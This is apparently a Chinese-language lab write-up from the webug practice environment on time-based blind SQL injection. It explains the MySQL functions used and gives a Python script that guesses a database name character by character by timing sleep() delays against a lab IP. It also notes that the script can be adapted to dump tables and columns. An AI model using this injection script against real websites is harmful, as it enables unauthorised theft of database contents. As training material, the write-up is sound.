timeInjection

在做webug的时候遇到了一题时间盲注,用到了mysql中的几个函数:
sleep(n) #延时执行
length(string string) #获得数据长度
if(expr1, expr2, expr3) #expr1为真执行expr2否则执行expr3
substr(string string, num start, num length) #从start开始(0,1一样)截取string长度为length
感受一下写好的脚本


其实盲注有点类似于爆破 需要一个字符一个字符的去猜解

#encoding=utf-8

#时间盲注脚本

import requests
import time

payloads = ‘qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789@_.}{‘

#存放跑出的结果
length=0
database=’’

print ‘start get length…’
for l in range(1,21): #库名可能的长度 方便下一步爆破数据库名 其实这块代码不要也行 下面length设置足够长就好 就是废点时间
startTime1=time.time() #记录当前的时间戳
url1 = “http://192.168.37.147/pentest/test/time/?type=1 and if(length(database())=%d,sleep(5),1)”%(l)
response1 = requests.get(url1)
if time.time() - startTime1 > 5: #当前的时间戳与之前的比较 是否执行了sleep(5)
length=l
print “the length is “ + str(length)
break

print ‘start database sql injection…’
for d in range(1,length+1):
for payload in payloads: #遍历字典
startTime2=time.time()
url2 = “http://192.168.37.147/pentest/test/time/?type=1 and if(substr(database(),’%d’,1)=’%s’,sleep(5),1)”%(d,payload)
response2 = requests.get(url2) #发送请求
if time.time() - startTime2 > 5: #判断是否延时了5秒 也就是 是否执行了函数sleep(5)
database+=payload
print database
break
print “the database is “ + database

大概就这样 其实很简单 把代码改改表和列都能跑出来
不过有点麻烦 一次只能跑一条出来 想想怎么自动化
关键是如何获取有多少个表、列 表、列名的长度